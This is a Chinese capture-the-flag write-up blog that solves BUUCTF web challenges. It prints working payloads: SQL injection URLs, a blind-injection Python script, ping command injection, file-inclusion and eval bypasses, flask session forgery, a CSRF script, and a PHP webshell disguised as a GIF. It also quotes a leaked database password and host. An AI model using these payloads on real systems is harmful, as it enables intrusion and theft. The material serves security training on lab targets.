BUUCTF Write Up(持续更新)

BUUCTF Write Up

一、[HCTF 2018]Warm Up

开局一滑稽,源码找玄机。source.php,关键在这里。

​ 审计源码,目的是绕过以下主函数代码,需要传入一个参数file,并且通过字符串检查和一个emmm类中的checkFile方法的检查,最终执行一个include函数,这里明显是通过检查并且通过include读取flag文件。

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

​ 审计checkfile方法,发现有一个白名单数组,里面有一个hint.php,打开一看,原来是提示了flag的文件名

1
flag not here, and flag in ffffllllaaaagggg

mb_substr(arg1,arg2,arg3):从arg1中截取arg2-arg3的字符串;mb_strpos(arg1,arg2):从arg1中找到arg2第一次出现的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; #白名单
if (! isset($page) || !is_string($page)) { #是否传入参数,是否参数为字符串
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) { #判断参数是否在白名单,如果不在继续判断
return true;
}

$_page = mb_substr( #截取第一个?前的值,如果没?,则是整个字符串,因为函数中自己加了一个?
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { #再次判断是否在白名单,如果不在继续判断,这里在?前加一个白名单的值其实就可以构造payload了。
return true;
}

$_page = urldecode($page); #这里进行一次url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?') #然后截取第一个?前的值判断是否在白名单
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
?>

urldecode解码前的判断就已经可以构造payload了,通过对payload的构造可以实现目录任意穿越读取。不停的尝试,最终读取到flag

Payload:http://4526f00b-4a4c-435b-9112-69769b94c105.node3.buuoj.cn/source.php?file=hint.php?/../../../../ffffllllaaaagggg

二、[SUCTF 2019]EasySQL1

nmd,这题头得多铁能猜到后台源码是:select $_POST['query']||flag from Flag,这就是大佬的世界?完全没逻辑的猜测。听说CTF现场有源码泄露,但是BUUCTF上没有进行复现,具体怎么泄露的源码也没有找到WriteUp,Ok。

另外,此题采用mysqli_multi_query()运行SQL语句,所以是可堆叠注入。

泄露的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

解法1:

Payload*,1 ===> select *,1||flag from Flag;

1||flag作为一个结果为boolean类型的值相当于1。(如果是*,0 则0||flag为0false),因此执行核心查询语句select * from Flag

0fZZNt.png

解法2:

把这个||或字符咱们给它运用上,这里涉及到Mysql的sql_mode的设置,通过变量的方式去配置它。

sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符

因此当set sql_mode=PIPES_AS_CONCAT时,这个||就相当于字符串连接函数concat(‘’,’’)辣。

payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

相当于:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag,这里1||flag ==> concat(1,'flag')

0fZjKg.png

总结:

希望从这里学习到一些新思路,在遇到堆叠注入有特殊的字符时,可以思考sql_mode这个设置,能否将特殊字符变得合理可利用化。

三、[极客大挑战 2019]Secret File

​ F12找第一个超链接Archive_room.php,然后有一个button是第二个超链接action.php,点击后发现302直接重定向到了end.php,bp抓包看到了这个神秘得小家伙,secr3t.php。

B3RuKx.png

​ secr3t.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

OK,典型的文件包含,包含一下flag.php,发现没有显示flag,那就filter/convert.base64-encode一下叭。

1
2
3
http://6f0fd2e6-afd9-415d-8fd6-4680e8378419.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MDYyNWY3OGItOTVhOC00NGMxLThjNzctOGNhMjBhNTFjNGQ4fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解码如下,得到福来阁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{0625f78b-95a8-44c1-8c77-8ca20a51c4d8}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>

四、[极客大挑战 2019]EasySQL

Payload:

1
2
3
http://1cd20fd9-e3fc-4a11-bb8e-0f7fe320e955.node3.buuoj.cn/check.php?username=1&password=1' or 1='1

flag{bb4a6d90-768f-46e4-9a77-c8972f164c59}

五、[ACTF2020 新生赛]Include

开局预测index.php传入file=,是个文件包含接口,file=index.php时网页有点卡,估计是循环包含了,应该用的不是_once函数,filter来base64一波吧。解下flag.php源码如下…

1
2
3
4
<?php
echo "Can you find out the flag?";
//flag{86976d68-2fe1-46be-82fd-a32375998501}

再看看index.php呢,嘻嘻是include

include与require除了在处理引入文件的方式不同外,最大的区别就是:
include在引入不存文件时产生一个警告且脚本还会继续执行,
require则会导致一个致命性错误且脚本停止执行。

节选自:include和require的区别(wwlww):https://www.cnblogs.com/wwlww/p/8413347.html

1
2
3
4
5
6
7
8
9
10
11
12
13
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>

六、[护网杯 2018]easy_tornado

存在模板注入,在error?msg=处。

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

引自笑花大王:https://www.cnblogs.com/xhds/p/12285121.html

Payload:http://9cd5726b-c9b8-43db-84ed-1c786f46bbc1.node3.buuoj.cn/error?msg={{handler.settings}}

可获得环境变量,其中包括了cookie_secret

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e9d83199-02cc-4dc0-9c5e-db259e149331'}

根据hints.txt的提示,./fllllllllllllag应该传入的filehash=md5(cookie_secret+md5(filename)),计算过程如下,此计算过程我直接使用了浏览器插件Hasher,它真的很棒。

1
2
3
md5(/fllllllllllllag) = 3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret = e9d83199-02cc-4dc0-9c5e-db259e149331
md5(e9d83199-02cc-4dc0-9c5e-db259e1493313bf9f6cf685a6dd8defadabfb41a03a1)=f8f08978b32c8b0786ff90a4b4379ea1

另外,直接用python3的hashlib库也可。

1
hashlib.md5(bytes('e9d83199-02cc-4dc0-9c5e-db259e149331' + hashlib.md5(b'/fllllllllllllag').hexdigest(), encoding='utf-8')).hexdigest()

Payload:

1
2
3
http://9cd5726b-c9b8-43db-84ed-1c786f46bbc1.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=f8f08978b32c8b0786ff90a4b4379ea1

flag{d8bd1174-f15f-49cf-8c10-8a861e4f7b0b}

七、[极客大挑战 2019]LoveSQL

​ 和第五题一样,可以or万能密码注入。

1
2
3
http://49e8ad85-99a8-4813-bf93-1df9aab0fbab.node3.buuoj.cn/check.php?username=1&password=1234' or 1='1

Your password is '70b75a27bc538ac305baffd8aaa79259'

​ 此时发现登陆成功后不直接给flag了,尝试报错注入吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
数据库:http://49e8ad85-99a8-4813-bf93-1df9aab0fbab.node3.buuoj.cn/check.php?username=admin&password=1234' or updatexml(1,concat('^sh',(select database()),'^'),1) and 1='1

XPATH syntax error: '^geek^'
------------------------------
数据表:http://49e8ad85-99a8-4813-bf93-1df9aab0fbab.node3.buuoj.cn/check.php?username=admin&password=1234' or updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^'),1) and 1='1

XPATH syntax error: '^geekuser,l0ve1ysq1^'
-------------------------------
爆l0ve1ysq1的字段:http://49e8ad85-99a8-4813-bf93-sh1df9aab0fbab.node3.buuoj.cn/check.php?username=admin&password=1234' or updatexml(1,concat('^',(select substr(group_concat(column_name),1,20) from information_schema.columns where table_name='l0ve1ysq1'),'^'),1) and 1='1

XPATH syntax error: '^id,username,password^'
--------------------------------
Flag就在10ve1ysq1表中的password字段中,在248以后:
http://49e8ad85-99a8-4813-bf93-1df9aab0fbab.node3.buuoj.cn/check.php?username=admin&password=1234' or updatexml(1,concat('^',(select substr(group_concat(password),248,31) from l0ve1ysq1),'^'),1) and 1='1

flag{690ae2e0-9ddf-41e9-a7f6-bc878dd458e3}

B8SxJJ.png

八、[GXYCTF2019]Ping Ping Ping

ping命令注入,过滤了空格、重定向符、单双引号、cat。并且只要字符串中顺序出现flag,不管其中分隔多少字符,都被检测到。例如:f123l123a123g123,这种的话还是可以被检测到,不知道用了啥接口儿,等下哥哥看看源码儿。

解决方法是这里使用变量拼接,且flag拼接的顺序颠倒,$IFS代替空格的方式绕过。

Payload:

1
2
3
4
http://bd478ba2-5157-4cab-8148-49f83abe0e37.node3.buuoj.cn/?ip=;b=g.php;a=fla;tac$IFS$a$b;

?>
$flag = "flag{71c116c7-dc50-402d-b24e-e91afaedae83}";

看看源码儿啥样

Payload:?ip=;b=x.php;a=inde;cat$IFS$a$b|base64;完了解码儿一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

九、[RoarCTF 2019]Easy Calc

总结:空格+变量名绕过WAF检测,chr()拼接绕过正则过滤。

查看源码儿,输入的表达式被URL编码后作为参数传递到calc.php中,查看一下calc.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

PHP的字符串解析特性是什么?

答: PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】

节选自:https://www.cnblogs.com/chrysanthemum/p/11757363.html

​ 这里自己菜了,eval本身就是执行php代码,echo phpinfo();本身就是echo出phpinfo()的代码结果,所以自己甚至复现环境去试验了半天。另外源码中只显示了部分过滤的字符,其中原题中还有WAF。

​ 这里的主要绕过方式是PHP字符串解析特性漏洞,num变量前加一个空格,让waf认为是’ num’变量而绕过过滤,但PHP会自动去除空格得到num变量从而绕过WAF。构造 num=phpinfo();成功执行phpinfo,查看一下disable_functions,禁用了非常多的函数。

BYC8Xj.png

​ 这里使用scandir()函数读取某目录中的所有文件,返回数组对象。

​ Payload:(重点:scandir返回值是一个数组对象,因此需要用var_dump才能显示内容),另外’/‘在源码中被过滤,可以使用chr()来绕过。

1
2
3
http://node3.buuoj.cn:27536/calc.php?num=var_dump(scandir(chr(47)));

array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

​ chr绕过过滤(错误点:chr()本身就是字符类型,使用.拼接即是一段字符串,无须拼接"或'

1
2
3
http://node3.buuoj.cn:27536/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

Flag:flag{bf14d19d-dfef-473c-ba1a-f0a90500f7cc}

十、[HCTF 2018]admin

​ 这道题有点意思,有注册、登录、修改密码、报告四个逻辑。基于对前面XSS和CSRF类型题没有成功做出来过,本能的以为这是一道XSS+CSRF的题。但构造半天Payload,没半点用。上网简单搜索一下,看到了一点hint,修改密码页面的源码有一个github地址。这题的迷惑性真强,真坑。

​ 尽管没成功Payload依然留一下,以后或许会用到。

1
2
3
4
5
6
7
8
9
10
11
<script type="text/javascript">
var Ajax=null;
var sendurl = "http://f1212200-df54-4e57-b763-f3f482413e7a.node3.buuoj.cn/change";
Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, false); //true表示异步
Ajax.withCredentials = true;
content="newpassword=123456";
Ajax.setRequestHeader("Host","f1212200-df54-4e57-b763-f3f482413e7a.node3.buuoj.cn");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
</script>

​ 下载Github源码,简单分析是一个简单的python flask后端,源码泄露了mysql的配置,所以先尝试了一下远程连接

1
mysql -u root -padsl1234 -h 111.73.46.229

​ 没有成功连接,另外在config.py中发现了flask Session的密钥’ckj123’。这里想到可能是伪造admin用户登录吧。所以这里先拿出GEEK新生赛用过的flask-unsign脚本先进行Session内容的解析。

1
flask-unsign --decode --cookie '.eJw9kEFrwkAQhf9KmbMHs5KL4MGSuBiYCYZNl5mLtGtM3DQWotK44n_v4qH39z6-9x6wP47NpYPldbw1M9ifDrB8wNsXLKG02xS9C2x3oTRrJRrvGD58aeuF6MrTkE9o618KbkGZm1DxVJrCc2hT1MWA4dCT2U6sdgmaamDPizLLU_FtSko60bmirOslcwF1PZW6Vqjkm8w6EdPexbzHTn4n4xIydOJQnSgUnWR1gnrTYfRhU8R8u4LnDNxlPO6vP31z_p_AZuPZ0sAhj8h-Lh6D2F3CQ1SyHFU4kBcvRqJG1WHGStarF-78OTQREbyDGdwuzfj6BpI5PP8A-gBk-g.X6EdLA.CyPuxh1U262hdRQNM16v_abocRQ'

ByafG6.png

​ 然后将name中的zjc改为admin使用泄露的密钥进行Session伪造

1
flask-unsign --sign --cookie "{'_fresh': True, '_id': b'9b9273ad3906dc235c9e7ddc6a11e07774713f192cc890bf37d521cd514fb67819f897fada648dd730e18e63fe505e82e0fb1257553bc4b72ad550aa0c2a2e58', 'csrf_token': b'a1cacfc15e94f33ed5bd51f9f6366ce6dd4a066d', 'name': 'admin', 'user_id': '10'}" --secret 'ckj123'

拿到伪造Session

1
.eJw9kMGKwjAURX9lyNqFjXQjuOjQGiy8VyzphPc2orW2TScOtMrUiP8-wcXs7z2ce5_icBmbqRPr23hvFuLQn8X6KT5OYi0Ks4vB1p7M3hc6kazgAf7LFqZasSotumwGU_2ir1eY1jNImgudW_JtDCp34M8D6t1Mch-BLh1ZWhVpFrNtY5Tcscokpt3Aae1BVXOhKgmSv1EnEev2wfozdLIH6jpCjT35skefd5xWEahtB8GHdB7y7Ua8FqKexsvh9jM01_8JpLeWDDryWUAOS7bg2ewjckHJUFAhj5Ytaw4aZQcpSU42b9z16JqAOJ5dfxULcZ-a8f2OiJbi9QfH_GW8.X6Ed-g.tFhNZVqKZhSxPE_IyS0bNicF44s

ByabdA.png

浏览器中Cookie填一下即可。登陆后得到flag

1
flag{b45f2c42-9be8-46a5-9a24-d622bbccad79}

十一、[极客大挑战 2019]BabySQL

1
2
3
4
5
6
7
8
9
10
11
/check.php?username=admin%27%20oorr%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%23&password=123 
XPATH syntax error: '~geek~'

/check.php?username=admin%27%20oorr%20updatexml(1,concat(0x7e,(selselectect%20group_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema=database()),'^'),1)%23&password=123
XPATH syntax error: '~b4bsql,geekuser^'

/check.php?username=admin%27%20oorr%20updatexml(1,concat(0x7e,(selselectect%20susubstrbstr(group_concat(column_name),1,20)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_name='b4bsql'),'^'),1)%23&password=123
XPATH syntax error: '~id,username,password^' #两个表都是三个字段

/check.php?username=adminsh%27%20oorr%20updatexml(1,concat(0x7e,(selselectect%20susubstrbstr(group_concat(passwoorrd),155,30)%20frfromom%20b4bsql),'^'),1)%23&password=123
flag{8aeb63ef-2526-47f4-ad14-de209366f473}

过滤了:or、select、where、from、substr,双写绕过,本质就是关键字替换空格

十二、[极客大挑战 2019]Upload

​ 1、此题黑名单过滤,可phtml

​ 2、此题检测图片内容,GIF头

​ 3、此题检测内容是否有PHP标签<?,使用js代替PHP脚本,学习了。(注:PHP7以后不再支持该方法

1
<pre><script language='php'>eval($_POST['zjc']);</script></pre>
1
flag{55ed55f0-539a-44a9-926b-ddcf182ed69e}

十三、[SUCTF 2019]CheckIn

​ 此题上传漏洞新姿势,前题是需要上传目录中有php文件。配合上传**.user.ini来得到一个文件包含的效果。.user.ini**类似于.htaccess,是php的子目录中的配置文件。

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

​ 配合php.ini中的文件包含配置用,auto_prepend_file 、auto_append_file。本题中上传目录提供了一个index.php,因此我们写入一个图片马,然后写入一个.user.ini通过auto_prepend_file的选项使该目录下的所有php文件执行时包含这个图片马。

注:这里其实想过上传.htaccess文件,但是题目有文件内容是图片的exif_iamgetype函数要求,.htaccess中如果出现无效字符则直接整个配置无效。.user.ini就没有这个情况发生,即使第一句GIF89是无效语句,也不影响后面配置的运行。

​ Payload:

.user.ini + JS图片马jsxmgif.gif

1
2
GIF89
auto_prepend_file=jsxmgif.gif
1
GIF89a?,? d23<pre><script language='php'>eval($_POST['zjc']);</script></pre>

上传后,访问上传目录中的index.php即可触发这个配置。get /flag即可。

1
flag{8d043cf7-7775-457e-8620-d4c34c65dee0}

十四、[极客大挑战 2019]BuyFlag

​ 1、看提示,要身份是学校人,首先想到身份伪造,看Session,改1。

​ 2、得花钱,post传money和password,pay.php源码中提示的。传入money=10000000时,显示过长,那么其实科学计数法就可以,比如:1.1e8。(必须比1e8大才能买,这里我1e8没过,还以为是session爆破…)

漏洞点

​ 1、PHP **is_numeric()**漏洞:可以使用%20、%00绕过数字检查。

​ 2、PHP **strcmp()**漏洞:还有一种方法是money[]=10000000,是strcmp()函数的绕过方式,在PHP5.3前strcmp在比较非字符串类型的数据时,尽管错误,但仍然会返回0。

1
2
3
4
5
6
POST:
http://e8fa9c1f-c2cb-4f05-8cba-bc7dffd7fd00.node3.buuoj.cn/pay.php

password=404aa&money=1.1e8

flag{4ede3f36-28b3-4ce1-9b8f-c1cd6cc0bb9a}

十五、[BJDCTF2020]Easy MD5

MD5考点:

​ 0e碰撞(弱类型比较)

1
QNKCDZO  aabg7XSs SWAnXIiW8Ja4ZSScYOaW TvprPWh9i81i5cBtEkFG=

​ 数组返回值NULL恒等漏洞(强类型比较)

1
a[]=1&b[]=2

​ 真正的MD5碰撞,值不同,MD5相同

含有更多二进制样本(国产)https://www.jianshu.com/p/c9089fd5b1ba

外国的讨论:https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value

1
2
3
4
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
#注:无需URL编码

​ Flag:

1
flag{b2c88b9c-f754-41cb-8698-497647e43bec}

十六、[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

1、上网学习了一下,data伪协议突破了第一步进展:

1
http://3fdf71bd-7ba8-45b7-9d2d-94a815756c7f.node3.buuoj.cn/?text=data:text/plain,welcome to the zjctf

2、第二步php://filter/convert.base64-encode/resource读一下useless.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

3、构造个反序列化,file属性赋值为flag.php使其触发__tostring方法输出flag

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

​ Flag已经输出,看看html源码吧

1
flag{608100eb-7e97-40c7-b85a-3006b3658bbe}

十七、[CISCN2019 华北赛区 Day2 Web1]Hack World

踩了很多坑

1、异或时两边表达式不用括号,优先级不同,区别很大!

1
2
3
4
5
users表中group_concat(username)的结果第一个是'D'
1^(substr((select group_concat(username) from users),1,1)='A');
#结果 正常1^0 = 1
1^substr((select group_concat(username) from users),1,1)='A';
#结果 1^1=0,没有加括号!相当于1^'D'='A'!

2、有WAF的时候要注意自己脚本中的Payload是否存在WAF拦截的字符!!

3、目标网站可能有WAF,要处理WAF拦截的情况。

4、脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
ascii_low = 32 #爆破的ascii字符下限
ascii_up = 127 #爆破的ascii字符上限
keyword="Hello, glzjin wants a girlfriend."
tb_choose='flag'
cn_name=['flag']
IFS='\x0a'
payload = ["1^if(", ",0,1)"] #拆分出attack payload插入点
param = {"id" : ""}#爆破点参数值不填,如果有其它参数,加入即可
key = "id" #爆破注入的参数
url = "http://d2e9e3db-f037-4f2d-849a-20328ecb52ad.node3.buuoj.cn/index.php" #注入URL
flag = 1 # 0 Get / 1 Post

print(f'[*]爆破表{tb_choose}中的记录条数......')
def respon_require():
if flag == 0:
respon = requests.get(url, params=param)
elif flag == 1:
respon = requests.post(url, data=param)
return respon
for i in range(1, 100):
param[key] = payload[0] + f"(select{IFS}count({cn_name[0]}){IFS}from{IFS}{tb_choose})={i}" + payload[1]
if respon_require().text.find(keyword) != -1:
dt_count = i
break
print(f'[+]数据表{tb_choose}中记录条数:{dt_count}')
while True:
print(cn_name)
cn_choose = input('输入要爆破的字段数据:')
if cn_choose.lower() not in [tmp.lower() for tmp in cn_name]:
print('[-]Error')
continue
for i in range(0, dt_count):
for j in range(1, 100):
#param[key] = payload[0] + f"(select{IFS}length({cn_choose}){IFS}from{IFS}{tb_choose}{IFS}LIMIT{IFS}{i},1)={j}" + payload[1]
param[key] = payload[0] + f"(select{IFS}length({cn_choose}){IFS}from{IFS}{tb_choose})={j}" + payload[1]
if respon_require().text.find(keyword) != -1:
dt_len = j
tmp_data = ""
real_res = 0
while real_res < dt_len:
left = ascii_low
right = ascii_up
while left <= right:
try:
mid = (left + right) // 2
param[key] = payload[0] + f"ascii(substr((select{IFS}{cn_choose}{IFS}from{IFS}{tb_choose}),{real_res+1},1))=ascii(char({mid}))" + payload[1]
if respon_require().text.find(keyword) != -1:
tmp_data += chr(mid)
real_res += 1
break
param[key] = payload[0] + f"ascii(substr((select{IFS}{cn_choose}{IFS}from{IFS}{tb_choose}),{real_res+1},1))<ascii(char({mid}))" + payload[1]
if respon_require().text.find(keyword) != -1:
right = mid - 1
else:
left = mid + 1
except Exception as e:
print(e)
pass
print(f'[{cn_choose}]:{tmp_data}, [length]: {dt_len}')
break

5、Flag

1
flag{7c4e5fbb-1e20-415b-9fad-af978c8224cb}

十八、[网鼎杯 2018]Fakebook

SSRF+SQL+PHP反序列化组合拳

1、信息收集,robots.txt中发现有源码user.php.bak。

​ 简单审计源码初步认定是SSRF漏洞利用获得flag,盲猜网页目录下的flag.php,发现存在。根据下面的代码,正则严格要求http协议才能通过,无法构造file协议。尝试半天无果,查询WP发现查询blog的参数页存在SQL注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

2、?no=X参数的SQL注入,且WAF过滤select,行内注释过滤

​ 经过参数传递测试,发现是数字型注入且可联合查询构造回显,测试中发现后台过滤了select,行内注释过滤即可。

1
/view.php?no=15%20union%20/*!selecT*/%201,2,3,4%23

